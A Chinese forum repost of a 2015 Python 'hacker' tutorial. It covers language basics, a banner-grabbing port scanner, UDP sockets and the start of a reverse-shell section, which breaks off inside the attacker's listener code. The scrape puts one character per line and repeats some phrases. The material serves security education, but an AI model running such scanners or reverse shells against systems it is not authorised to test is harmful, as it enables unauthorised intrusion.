论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[8664] 2015-02-06_Python黑客学习笔记:从HelloWorld到编写PoC(上)
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-17
IOT
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2015-02-06_Python黑客学习笔记:从HelloWorld到编写PoC(上)
P
y
t
h
o
n
黑
客
学
习
笔
记
:
从
H
e
l
l
o
W
o
r
l
d
到
编
写
P
o
C
(
上
)
F
r
e
e
B
u
f
2
0
1
5
-
0
2
-
0
6
本
系
列
文
章
适
合
本
系
列
文
章
适
合
C
S
在
读
学
生
和
万
年
工
具
党
,
在
读
学
生
和
万
年
工
具
党
,
本
文
会
在
英
文
原
文
的
基
础
上
做
些
修
改
,
并
适
当
增
加
些
解
释
说
明
。
本
文
会
在
英
文
原
文
的
基
础
上
做
些
修
改
,
并
适
当
增
加
些
解
释
说
明
。
本
篇
包
含
原
文
的
前
几
部
分
:
本
篇
包
含
原
文
的
前
几
部
分
:
0
x
0
–
G
e
t
t
i
n
g
S
t
a
r
t
e
d
-
从
零
开
始
0
x
1
–
G
e
t
t
i
n
g
S
t
a
r
t
e
d
P
t
.
2
-
进
阶
0
x
2
–
P
o
r
t
S
c
a
n
n
e
r
-
端
口
扫
描
0
x
3
–
R
e
v
e
r
s
e
S
h
e
l
l
-
反
向
s
h
e
l
l
0
x
0
–
G
e
t
t
i
n
g
S
t
a
r
t
e
d
-
从
零
开
始
从
零
开
始
P
y
t
h
o
n
是
一
种
十
分
强
大
的
脚
本
语
言
,
你
可
以
直
接
的
在
P
y
t
h
o
n
解
释
器
中
编
写
代
码
或
储
存
在
文
本
中
以
便
于
直
接
执
行
,
本
文
假
设
读
者
已
经
拥
有
装
载
好
P
y
t
h
o
n
2
.
x
.
的
L
i
n
u
x
操
作
系
统
(
译
者
使
用
的
k
a
l
i
L
i
n
u
x
)
,
有
其
他
编
程
经
验
特
别
是
进
行
过
C
/
C
+
+
语
言
入
门
学
习
的
读
者
需
要
注
意
P
y
t
h
o
n
中
强
制
使
用
缩
进
,
我
们
从
打
开
P
y
t
h
o
n
解
释
器
开
始
。
打
开
终
端
,
执
行
'
p
y
t
h
o
n
'
命
令
打
开
P
y
t
h
o
n
解
释
器
:
~
$
p
y
t
h
o
n
P
y
t
h
o
n
2
.
7
.
3
T
y
p
e
"
h
e
l
p
"
,
"
c
o
p
y
r
i
g
h
t
"
,
"
c
r
e
d
i
t
s
"
o
r
"
l
i
c
e
n
s
e
"
f
o
r
m
o
r
e
i
n
f
o
r
m
a
t
i
o
n
.
>
>
>
>
>
>
我
们
现
在
就
可
以
在
P
y
t
h
o
n
解
释
器
中
直
接
编
写
代
码
。
我
们
定
义
两
个
变
量
,
并
用
t
y
p
e
(
)
函
数
查
看
我
们
定
义
的
变
量
是
字
符
串
还
是
整
形
:
>
>
>
>
>
>
i
p
=
'
8
.
8
.
8
.
8
'
>
>
>
p
o
r
t
=
5
3
>
>
>
t
y
p
e
(
i
p
)
<
t
y
p
e
'
s
t
r
'
>
>
>
>
>
>
>
t
y
p
e
(
p
o
r
t
)
<
t
y
p
e
'
i
n
t
'
>
>
>
>
很
明
显
,
我
们
定
义
了
名
为
‘
i
p
’
的
字
符
串
变
量
和
一
个
名
为
‘
p
o
r
t
’
的
整
形
变
量
,
并
且
我
们
使
用
t
y
p
e
(
)
函
数
指
出
了
变
量
的
类
型
。
我
们
可
以
使
用
内
置
的
h
e
l
p
(
)
函
数
来
了
解
一
些
特
别
的
函
数
的
功
能
:
>
>
>
>
>
>
h
e
l
p
(
t
y
p
e
)
>
>
>
按
q
退
出
帮
助
将
数
值
转
成
字
符
串
,
并
使
用
‘
+
’
拼
接
多
个
字
符
串
然
后
打
印
,
这
是
一
个
常
用
的
功
能
:
>
>
>
>
>
>
p
r
i
n
t
"
T
h
e
I
P
i
s
:
"
+
i
p
+
"
a
n
d
t
h
e
p
o
r
t
i
s
:
"
+
s
t
r
(
p
o
r
t
)
T
h
e
I
P
i
s
:
8
.
8
.
8
.
8
a
n
d
t
h
e
p
o
r
t
i
s
:
5
3
>
>
>
在
上
面
这
条
代
码
中
,
‘
i
p
’
已
经
是
一
个
字
符
型
变
量
可
以
用
‘
+
’
直
接
与
其
他
字
符
串
链
接
在
一
起
,
而
‘
p
o
r
t
’
变
量
需
要
从
数
值
型
转
换
成
字
符
串
型
,
如
果
没
有
使
用
s
t
r
(
)
函
数
,
执
行
结
果
会
报
错
:
对
于
字
符
串
,
我
们
还
可
以
进
行
索
引
、
切
片
和
取
长
度
的
操
作
:
>
>
>
>
>
>
d
o
m
a
i
n
=
'
f
r
e
e
b
u
f
.
c
o
m
'
>
>
>
d
o
m
a
i
n
'
f
r
e
e
b
u
f
.
c
o
m
'
>
>
>
d
o
m
a
i
n
[
0
]
'
f
'
>
>
>
d
o
m
a
i
n
[
0
:
7
]
'
f
r
e
e
b
u
f
'
>
>
>
d
o
m
a
i
n
[
3
:
]
'
e
b
u
f
.
c
o
m
'
>
>
>
l
e
n
(
d
o
m
a
i
n
)
1
1
>
>
>
注
意
:
索
引
也
可
以
是
负
值
,
此
时
从
右
侧
开
始
计
数
,
但
注
意
:
索
引
也
可
以
是
负
值
,
此
时
从
右
侧
开
始
计
数
,
但
-
0
和
和
0
一
样
,
负
的
索
引
从
一
样
,
负
的
索
引
从
-
1
开
始
。
开
始
。
l
e
n
(
)
函
数
可
以
返
回
字
符
串
的
长
度
。
s
p
l
i
t
可
以
将
字
符
串
分
割
成
列
表
:
>
>
>
h
e
l
p
(
i
p
.
s
p
l
i
t
)
>
>
>
s
t
r
i
n
g
=
i
p
+
'
:
'
+
s
t
r
(
p
o
r
t
)
>
>
>
s
t
r
i
n
g
'
8
.
8
.
8
.
8
:
5
3
'
>
>
>
s
t
r
i
n
g
.
s
p
l
i
t
(
'
:
'
)
[
'
8
.
8
.
8
.
8
'
,
'
5
3
'
]
>
>
>
s
p
l
i
t
是
一
个
很
有
用
的
功
能
,
在
上
面
的
例
子
里
我
们
指
定
以
‘
:
’
为
分
隔
就
字
符
分
割
成
了
一
个
列
表
(
l
i
s
t
)
,
同
时
我
们
可
以
使
用
‘
a
p
p
e
n
d
’
和
‘
r
e
m
o
v
e
’
对
列
表
进
行
增
加
和
删
除
的
操
作
:
>
>
>
l
i
s
t
=
s
t
r
i
n
g
.
s
p
l
i
t
(
'
:
'
)
>
>
>
l
i
s
t
[
'
8
.
8
.
8
.
8
'
,
'
5
3
'
]
>
>
>
l
i
s
t
[
0
]
'
8
.
8
.
8
.
8
'
>
>
>
l
i
s
t
[
1
]
'
5
3
'
>
>
>
l
i
s
t
.
a
p
p
e
n
d
(
'
g
o
o
g
l
e
'
)
>
>
>
l
i
s
t
[
'
8
.
8
.
8
.
8
'
,
'
5
3
'
,
'
g
o
o
g
l
e
'
]
>
>
>
l
i
s
t
.
r
e
m
o
v
e
(
'
g
o
o
g
l
e
'
)
>
>
>
l
i
s
t
[
'
8
.
8
.
8
.
8
'
,
'
5
3
'
]
>
>
>
关
于
更
多
更
详
细
的
关
于
P
y
t
h
o
n
数
字
和
字
符
串
的
介
绍
,
请
戳
h
t
t
p
:
/
/
p
y
t
h
o
n
.
u
s
y
i
y
i
.
c
n
/
p
y
t
h
o
n
_
2
7
8
/
t
u
t
o
r
i
a
l
/
i
n
t
r
o
d
u
c
t
i
o
n
.
h
t
m
l
#
u
s
i
n
g
-
p
y
t
h
o
n
-
a
s
-
a
-
c
a
l
c
u
l
a
t
o
r
使
用
P
y
t
h
o
n
模
块
(
M
o
d
u
l
e
s
)
可
以
用
更
少
的
代
码
来
实
现
更
复
杂
的
功
能
,
P
y
t
h
o
n
有
许
多
内
置
的
模
块
(
o
s
,
s
u
b
p
r
o
c
e
s
s
,
s
o
c
k
e
t
,
u
r
l
l
i
b
,
h
t
t
p
l
i
b
,
r
e
,
s
y
s
等
)
,
并
且
P
y
t
h
o
n
可
以
使
用
更
多
的
第
三
方
模
块
(
c
y
m
r
u
w
h
o
i
s
,
s
c
a
p
y
,
d
p
k
t
,
s
p
i
d
e
r
等
)
。
例
如
o
s
模
块
可
以
在
P
y
t
h
o
n
里
调
用
系
统
命
令
:
>
>
>
i
m
p
o
r
t
o
s
>
>
>
o
s
.
s
y
s
t
e
m
(
"
e
c
h
o
'
R
n
J
l
Z
U
J
1
Z
g
=
=
'
|
b
a
s
e
6
4
-
d
"
)
F
r
e
e
B
u
f
0
>
>
>
用
P
y
t
h
o
n
对
文
件
进
行
操
作
,
下
面
的
例
子
将
会
演
示
如
何
创
建
一
个
文
件
对
象
,
并
对
文
件
进
行
读
/
写
:
>
>
>
>
>
>
f
i
l
e
=
o
p
e
n
(
'
t
e
s
t
.
t
x
t
'
,
'
w
'
)
>
>
>
f
i
l
e
.
w
r
i
t
e
(
'
H
e
l
l
o
W
o
r
l
d
'
)
>
>
>
f
i
l
e
.
c
l
o
s
e
(
)
>
>
>
f
i
l
e
=
o
p
e
n
(
'
t
e
s
t
.
t
x
t
'
,
'
r
'
)
>
>
>
f
i
l
e
.
r
e
a
d
l
i
n
e
s
(
)
[
'
H
e
l
l
o
W
o
r
l
d
'
]
>
>
>
退
出
P
y
t
h
o
n
交
互
界
面
可
以
按
C
t
r
l
+
z
0
x
1
–
G
e
t
t
i
n
g
S
t
a
r
t
e
d
P
t
.
2
-
进
阶
进
阶
一
个
P
y
t
h
o
n
脚
本
的
基
础
结
构
:
函
数
的
定
义
,
注
意
在
函
数
的
定
义
,
注
意
在
P
y
t
h
o
n
组
成
函
数
体
的
语
句
在
下
一
行
开
始
必
须
缩
进
:
组
成
函
数
体
的
语
句
在
下
一
行
开
始
必
须
缩
进
:
d
e
f
M
y
F
u
n
c
t
i
o
n
:
.
.
.
d
o
w
o
r
k
.
.
.
r
e
t
u
r
n
o
u
t
p
u
t
#
在
主
函
数
中
调
用
定
义
的
函
数
d
e
f
m
a
i
n
(
)
:
o
u
t
p
u
t
=
M
y
F
u
n
c
t
i
o
n
(
i
n
p
u
t
)
一
个
完
整
可
执
行
的
函
数
实
例
:
#
!
/
u
s
r
/
b
i
n
/
p
y
t
h
o
n
d
e
f
f
i
b
(
n
)
:
a
,
b
=
0
,
1
w
h
i
l
e
a
<
n
:
p
r
i
n
t
a
,
a
,
b
=
b
,
a
+
b
d
e
f
m
a
i
n
(
)
:
f
i
b
(
2
0
)
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
m
a
i
n
(
)
执
行
的
结
果
是
打
印
了
一
串
菲
波
那
契
数
,
f
i
b
(
n
)
被
定
义
生
成
上
界
为
n
的
菲
波
那
契
数
列
的
函
数
。
类
(
C
l
a
s
s
)
:
在
P
y
t
h
o
n
中
,
类
的
概
念
很
有
可
能
会
让
没
有
接
触
过
面
向
对
象
编
程
的
人
感
到
头
疼
,
完
整
而
又
详
细
的
说
明
(
强
烈
建
议
)
请
戳
:
h
t
t
p
:
/
/
p
y
t
h
o
n
.
u
s
y
i
y
i
.
c
n
/
p
y
t
h
o
n
_
2
7
8
/
t
u
t
o
r
i
a
l
/
c
l
a
s
s
e
s
.
h
t
m
l
#
a
-
f
i
r
s
t
-
l
o
o
k
-
a
t
-
c
l
a
s
s
e
s
在
这
份
说
明
中
会
对
P
y
t
h
o
n
中
类
进
行
介
绍
,
下
面
是
一
个
类
的
实
例
,
并
且
调
用
了
l
i
n
u
x
系
统
中
h
o
s
t
命
令
。
>
>
>
i
m
p
o
r
t
o
s
>
>
>
c
l
a
s
s
D
o
m
a
i
n
:
.
.
.
d
e
f
_
_
i
n
i
t
_
_
(
s
e
l
f
,
d
o
m
a
i
n
,
p
o
r
t
,
p
r
o
t
o
c
o
l
)
:
.
.
.
s
e
l
f
.
d
o
m
a
i
n
=
d
o
m
a
i
n
.
.
.
s
e
l
f
.
p
o
r
t
=
p
o
r
t
.
.
.
s
e
l
f
.
p
r
o
t
o
c
o
l
=
p
r
o
t
o
c
o
l
.
.
.
d
e
f
U
R
L
(
s
e
l
f
)
:
.
.
.
i
f
s
e
l
f
.
p
r
o
t
o
c
o
l
=
=
'
h
t
t
p
s
'
:
.
.
.
U
R
L
=
'
h
t
t
p
s
:
/
/
'
+
s
e
l
f
.
d
o
m
a
i
n
+
'
:
'
+
s
e
l
f
.
p
o
r
t
+
'
/
'
.
.
.
i
f
s
e
l
f
.
p
r
o
t
o
c
o
l
=
=
'
h
t
t
p
'
:
.
.
.
U
R
L
=
'
h
t
t
p
:
/
/
'
+
s
e
l
f
.
d
o
m
a
i
n
+
'
:
'
+
s
e
l
f
.
p
o
r
t
+
'
/
'
.
.
.
r
e
t
u
r
n
U
R
L
.
.
.
d
e
f
l
o
o
k
u
p
(
s
e
l
f
)
:
.
.
.
o
s
.
s
y
s
t
e
m
(
"
h
o
s
t
"
+
s
e
l
f
.
d
o
m
a
i
n
)
.
.
.
>
>
>
d
o
m
a
i
n
=
D
o
m
a
i
n
(
'
w
w
w
.
f
r
e
e
b
u
f
.
c
o
m
'
,
'
8
0
'
,
'
h
t
t
p
'
)
>
>
>
>
>
>
d
i
r
(
d
o
m
a
i
n
)
[
'
U
R
L
'
,
'
_
_
d
o
c
_
_
'
,
'
_
_
i
n
i
t
_
_
'
,
'
_
_
m
o
d
u
l
e
_
_
'
,
'
d
o
m
a
i
n
'
,
'
l
o
o
k
u
p
'
,
'
p
o
r
t
'
,
'
p
r
o
t
o
c
o
l
'
]
>
>
>
d
o
m
a
i
n
.
U
R
L
(
)
'
h
t
t
p
:
/
/
w
w
w
.
f
r
e
e
b
u
f
.
c
o
m
:
8
0
/
'
>
>
>
d
o
m
a
i
n
.
i
p
T
r
a
c
e
b
a
c
k
(
m
o
s
t
r
e
c
e
n
t
c
a
l
l
l
a
s
t
)
:
F
i
l
e
"
<
s
t
d
i
n
>
"
,
l
i
n
e
1
,
i
n
<
m
o
d
u
l
e
>
A
t
t
r
i
b
u
t
e
E
r
r
o
r
:
D
o
m
a
i
n
i
n
s
t
a
n
c
e
h
a
s
n
o
a
t
t
r
i
b
u
t
e
'
i
p
'
>
>
>
d
o
m
a
i
n
.
p
o
r
t
'
8
0
'
>
>
>
d
o
m
a
i
n
.
p
r
o
t
o
c
o
l
'
h
t
t
p
'
>
>
>
d
o
m
a
i
n
.
l
o
o
k
u
p
(
)
f
r
e
e
b
u
f
.
c
o
m
h
a
s
a
d
d
r
e
s
s
2
2
3
.
5
.
0
.
2
1
4
>
>
>
由
于
我
们
编
写
的
P
y
t
h
o
n
程
序
是
在
C
L
I
(
c
o
m
m
a
n
d
-
l
i
n
e
i
n
t
e
r
f
a
c
e
,
命
令
行
界
面
)
下
运
行
的
,
下
面
的
例
子
展
示
了
如
何
使
用
s
y
s
模
块
让
P
y
t
h
o
n
程
序
接
收
参
数
,
使
用
任
意
一
种
文
本
编
辑
器
编
写
下
面
的
代
码
并
保
存
成
“
.
p
y
"
文
件
:
i
m
p
o
r
t
s
y
s
s
c
r
i
p
t
=
s
y
s
.
a
r
g
v
[
0
]
i
p
=
s
y
s
.
a
r
g
v
[
1
]
p
o
r
t
=
s
y
s
.
a
r
g
v
[
2
]
p
r
i
n
t
"
[
+
]
T
h
e
s
c
r
i
p
t
n
a
m
e
i
s
:
"
+
s
c
r
i
p
t
p
r
i
n
t
"
[
+
]
T
h
e
I
P
i
s
:
"
+
i
p
+
"
a
n
d
t
h
e
p
o
r
t
i
s
:
"
+
p
o
r
t
s
y
s
.
a
r
g
v
是
一
个
以
字
符
串
形
式
保
存
命
令
行
参
数
的
列
表
,
上
述
代
码
保
存
成
.
p
y
文
件
执
行
结
果
:
0
x
2
–
P
o
r
t
S
c
a
n
n
e
r
-
端
口
扫
描
端
口
扫
描
在
阅
读
本
节
之
前
,
我
建
议
读
者
再
次
巩
固
前
两
节
的
知
识
,
并
且
尝
试
编
写
一
些
.
p
y
程
序
,
虽
然
可
能
会
出
现
一
连
串
的
错
误
,
请
不
要
灰
心
,
本
文
毕
竟
不
是
学
习
P
y
t
h
o
n
语
言
的
捷
径
,
文
档
和
搜
索
引
擎
会
帮
助
我
们
少
走
很
多
弯
路
。
在
本
节
中
将
会
演
示
如
何
编
写
一
个
简
单
的
P
y
t
h
o
n
端
口
扫
面
程
序
。
本
节
中
将
会
利
用
到
s
o
c
k
e
t
编
程
知
识
,
请
读
者
先
行
预
习
了
解
。
在
这
之
前
我
们
先
尝
试
在
这
之
前
我
们
先
尝
试
P
y
t
h
o
n
中
两
种
循
环
语
法
:
中
两
种
循
环
语
法
:
w
h
i
l
e
语
句
用
于
重
复
执
行
直
到
某
个
表
达
式
为
真
:
>
>
>
p
o
r
t
=
1
0
0
0
>
>
>
w
h
i
l
e
p
o
r
t
<
1
0
2
4
:
.
.
.
p
r
i
n
t
"
T
h
e
p
o
r
t
i
s
:
"
+
s
t
r
(
p
o
r
t
)
.
.
.
p
o
r
t
=
p
o
r
t
+
1
.
.
.
T
h
e
p
o
r
t
i
s
:
1
0
0
0
T
h
e
p
o
r
t
i
s
:
1
0
0
1
T
h
e
p
o
r
t
i
s
:
1
0
0
2
T
h
e
p
o
r
t
i
s
:
1
0
0
3
T
h
e
p
o
r
t
i
s
:
1
0
0
4
T
h
e
p
o
r
t
i
s
:
1
0
0
5
T
h
e
p
o
r
t
i
s
:
1
0
0
6
T
h
e
p
o
r
t
i
s
:
1
0
0
7
T
h
e
p
o
r
t
i
s
:
1
0
0
8
T
h
e
p
o
r
t
i
s
:
1
0
0
9
T
h
e
p
o
r
t
i
s
:
1
0
1
0
T
h
e
p
o
r
t
i
s
:
1
0
1
1
T
h
e
p
o
r
t
i
s
:
1
0
1
2
T
h
e
p
o
r
t
i
s
:
1
0
1
3
T
h
e
p
o
r
t
i
s
:
1
0
1
4
T
h
e
p
o
r
t
i
s
:
1
0
1
5
T
h
e
p
o
r
t
i
s
:
1
0
1
6
T
h
e
p
o
r
t
i
s
:
1
0
1
7
T
h
e
p
o
r
t
i
s
:
1
0
1
8
T
h
e
p
o
r
t
i
s
:
1
0
1
9
T
h
e
p
o
r
t
i
s
:
1
0
2
0
T
h
e
p
o
r
t
i
s
:
1
0
2
1
T
h
e
p
o
r
t
i
s
:
1
0
2
2
T
h
e
p
o
r
t
i
s
:
1
0
2
3
>
>
>
f
o
r
用
法
,
下
面
的
例
子
中
用
到
了
可
以
实
现
遍
历
一
个
数
字
序
列
的
r
a
n
g
e
(
)
函
数
:
>
>
>
>
>
>
f
o
r
p
o
r
t
i
n
r
a
n
g
e
(
1
0
0
0
,
1
0
2
4
)
:
.
.
.
p
r
i
n
t
"
[
+
]
T
h
e
p
o
r
t
i
s
:
"
+
s
t
r
(
p
o
r
t
)
.
.
.
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
0
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
1
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
2
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
3
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
4
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
5
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
6
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
7
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
8
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
0
9
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
0
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
1
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
2
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
3
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
4
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
5
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
6
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
7
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
8
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
1
9
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
2
0
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
2
1
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
2
2
[
+
]
T
h
e
p
o
r
t
i
s
:
1
0
2
3
>
>
>
请
注
意
,
再
次
提
醒
编
写
请
注
意
,
再
次
提
醒
编
写
P
y
t
h
o
n
程
序
要
注
意
缩
进
,
否
则
会
报
错
。
程
序
要
注
意
缩
进
,
否
则
会
报
错
。
上
面
的
代
码
片
段
将
会
成
为
端
口
扫
描
程
序
的
基
础
框
架
,
我
们
调
用
内
置
的
s
o
c
k
e
t
模
块
,
尝
试
几
个
例
子
:
首
先
我
在
我
的
机
器
上
开
启
了
s
s
h
服
务
,
这
样
我
的
2
2
端
口
也
随
之
打
开
>
>
>
i
m
p
o
r
t
s
o
c
k
e
t
>
>
>
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
)
>
>
>
s
.
c
o
n
n
e
c
t
(
(
'
1
2
7
.
0
.
0
.
1
'
,
2
2
)
)
>
>
>
s
.
s
e
n
d
(
'
F
r
e
e
B
u
f
n
'
)
9
>
>
>
b
a
n
n
e
r
=
s
.
r
e
c
v
(
1
0
2
4
)
>
>
>
p
r
i
n
t
b
a
n
n
e
r
S
S
H
-
2
.
0
-
O
p
e
n
S
S
H
_
6
.
0
p
1
D
e
b
i
a
n
-
4
+
d
e
b
7
u
2
P
r
o
t
o
c
o
l
m
i
s
m
a
t
c
h
.
>
>
>
在
上
面
的
代
码
片
段
中
调
用
了
s
o
c
k
e
t
模
块
并
用
c
o
n
n
e
c
t
(
)
函
数
链
接
了
相
应
的
I
P
和
端
口
号
,
这
样
就
会
建
立
一
个
相
应
的
T
C
P
链
接
(
S
Y
N
/
S
Y
N
-
A
C
K
/
A
C
K
)
,
用
s
e
n
d
(
)
函
数
发
送
数
据
并
用
r
e
c
v
(
)
函
数
接
收
相
应
。
我
们
将
端
口
号
改
成
2
3
(
这
是
一
个
没
有
开
启
的
端
口
)
,
看
一
下
会
有
什
么
结
果
:
>
>
>
i
m
p
o
r
t
s
o
c
k
e
t
>
>
>
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
)
>
>
>
s
.
c
o
n
n
e
c
t
(
(
'
1
2
7
.
0
.
0
.
1
'
,
2
3
)
)
T
r
a
c
e
b
a
c
k
(
m
o
s
t
r
e
c
e
n
t
c
a
l
l
l
a
s
t
)
:
F
i
l
e
"
<
s
t
d
i
n
>
"
,
l
i
n
e
1
,
i
n
<
m
o
d
u
l
e
>
F
i
l
e
"
/
u
s
r
/
l
i
b
/
p
y
t
h
o
n
2
.
7
/
s
o
c
k
e
t
.
p
y
"
,
l
i
n
e
2
2
4
,
i
n
m
e
t
h
r
e
t
u
r
n
g
e
t
a
t
t
r
(
s
e
l
f
.
_
s
o
c
k
,
n
a
m
e
)
(
*
a
r
g
s
)
s
o
c
k
e
t
.
e
r
r
o
r
:
[
E
r
r
n
o
1
1
1
]
C
o
n
n
e
c
t
i
o
n
r
e
f
u
s
e
d
>
>
>
报
错
了
,
我
们
可
以
使
用
报
错
了
,
我
们
可
以
使
用
‘
t
r
y
/
e
x
c
e
p
t
’
来
处
理
报
错
来
处
理
报
错
:
>
>
>
t
r
y
:
.
.
.
s
.
c
o
n
n
e
c
t
(
(
'
1
2
7
.
0
.
0
.
1
'
,
2
3
)
)
.
.
.
e
x
c
e
p
t
:
p
a
s
s
.
.
.
>
>
>
没
有
出
现
错
误
提
示
,
现
在
我
们
结
合
一
下
上
面
的
代
码
段
,
编
写
一
个
简
单
的
端
口
扫
描
程
序
:
s
c
a
n
.
p
y
:
i
m
p
o
r
t
s
o
c
k
e
t
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
)
f
o
r
p
o
r
t
i
n
r
a
n
g
e
(
2
0
,
2
5
)
:
t
r
y
:
p
r
i
n
t
"
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
c
o
n
n
e
c
t
t
o
1
2
7
.
0
.
0
.
1
:
"
+
s
t
r
(
p
o
r
t
)
s
.
c
o
n
n
e
c
t
(
(
'
1
2
7
.
0
.
0
.
1
'
,
p
o
r
t
)
)
s
.
s
e
n
d
(
'
s
c
a
n
'
)
b
a
n
n
e
r
=
s
.
r
e
c
v
(
1
0
2
4
)
i
f
b
a
n
n
e
r
:
p
r
i
n
t
"
[
+
]
P
o
r
t
"
+
s
t
r
(
p
o
r
t
)
+
"
o
p
e
n
:
n
"
+
b
a
n
n
e
r
s
.
c
l
o
s
e
(
)
e
x
c
e
p
t
:
p
a
s
s
运
行
结
果
:
也
可
以
将
常
见
端
口
和
要
扫
描
的
i
p
添
加
进
数
组
:
i
m
p
o
r
t
s
o
c
k
e
t
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
)
p
o
r
t
s
=
[
2
1
,
2
2
,
5
3
,
4
4
5
,
8
0
,
4
4
3
,
3
3
8
9
,
8
0
8
0
]
h
o
s
t
s
=
[
'
1
2
7
.
0
.
0
.
1
'
,
'
1
0
.
1
0
.
1
0
.
1
0
'
,
'
1
9
2
.
1
6
8
.
1
.
1
'
]
f
o
r
h
o
s
t
i
n
h
o
s
t
s
:
f
o
r
p
o
r
t
i
n
p
o
r
t
s
:
t
r
y
:
p
r
i
n
t
"
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
c
o
n
n
e
c
t
t
o
"
+
h
o
s
t
+
"
:
"
+
s
t
r
(
p
o
r
t
)
s
.
c
o
n
n
e
c
t
(
(
h
o
s
t
,
p
o
r
t
)
)
s
.
s
e
n
d
(
'
a
b
s
d
k
f
b
s
d
a
f
b
l
a
b
l
d
s
f
d
b
f
h
a
s
d
f
l
b
f
/
n
'
)
b
a
n
n
e
r
=
s
.
r
e
c
v
(
1
0
2
4
)
i
f
b
a
n
n
e
r
:
p
r
i
n
t
"
[
+
]
"
+
h
o
s
t
+
"
:
"
+
s
t
r
(
p
o
r
t
)
+
"
o
p
e
n
:
n
"
+
b
a
n
n
e
r
s
.
c
l
o
s
e
(
)
e
x
c
e
p
t
:
p
a
s
s
运
行
结
果
:
0
x
3
–
R
e
v
e
r
s
e
S
h
e
l
l
-
反
向
反
向
s
h
e
l
l
在
本
节
前
读
者
有
必
要
再
进
行
一
个
s
o
c
k
e
t
通
信
实
验
,
在
这
里
以
U
D
P
作
为
例
子
:
s
e
r
v
e
r
端
u
d
p
_
s
e
r
v
e
r
.
p
y
:
i
m
p
o
r
t
s
o
c
k
e
t
h
o
s
t
=
'
'
p
o
r
t
=
1
0
2
4
b
u
f
_
s
i
z
e
=
1
2
8
a
d
d
r
=
(
h
o
s
t
,
p
o
r
t
)
u
d
p
_
s
e
r
v
e
r
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
D
G
R
A
M
)
u
d
p
_
s
e
r
v
e
r
.
b
i
n
d
(
a
d
d
r
)
w
h
i
l
e
T
r
u
e
:
p
r
i
n
t
'
w
a
t
i
n
g
f
o
r
m
e
s
s
a
g
e
.
.
.
'
d
a
t
a
,
a
d
d
r
=
u
d
p
_
s
e
r
v
e
r
.
r
e
c
v
f
r
o
m
(
b
u
f
_
s
i
z
e
)
p
r
i
n
t
'
.
.
.
r
e
c
e
i
v
e
d
f
r
o
m
a
n
d
r
e
t
u
r
n
t
o
:
'
+
s
t
r
(
a
d
d
r
)
+
"
:
"
+
d
a
t
a
u
d
p
_
s
e
r
v
e
r
.
c
l
o
s
e
(
)
c
l
i
e
n
t
端
u
d
p
_
c
l
i
e
n
t
.
p
y
:
i
m
p
o
r
t
s
o
c
k
e
t
h
o
s
t
=
'
l
o
c
a
l
h
o
s
t
'
p
o
r
t
=
1
0
2
4
b
u
f
_
s
i
z
e
=
1
2
8
a
d
d
r
=
(
h
o
s
t
,
p
o
r
t
)
u
d
p
_
c
l
i
e
n
t
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
D
G
R
A
M
)
w
h
i
l
e
T
r
u
e
:
d
a
t
a
=
r
a
w
_
i
n
p
u
t
(
'
>
'
)
i
f
n
o
t
d
a
t
a
:
b
r
e
a
k
u
d
p
_
c
l
i
e
n
t
.
s
e
n
d
t
o
(
d
a
t
a
,
a
d
d
r
)
u
d
p
_
c
l
i
e
n
t
.
c
l
o
s
e
(
)
效
果
如
图
:
下
面
是
一
个
简
单
的
反
向
s
h
e
l
l
的
代
码
实
例
,
假
设
我
们
的
反
向
s
h
e
l
l
在
“
受
害
者
”
的
电
脑
上
运
行
,
“
攻
击
者
”
可
以
远
程
与
反
向
s
h
e
l
l
进
行
通
信
,
并
在
“
受
害
者
”
的
电
脑
中
执
行
命
令
并
回
显
结
果
。
“
攻
击
者
”
端
,
与
反
向
s
h
e
l
l
进
行
链
接
,
发
送
指
令
,
接
受
指
令
执
行
的
回
显
:
i
m
p
o
r
t
s
o
c
k
e
t
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
s
.
b
i
n
d
(
(
"
0
.
0
.
0
.
0
"
,
4
4
3
)
)
s
.
l
i
s
t
e
n
(
2
0
4
8
)
p
r
i
n
t
"
L
i
s
t
e
n
i
n
g
o
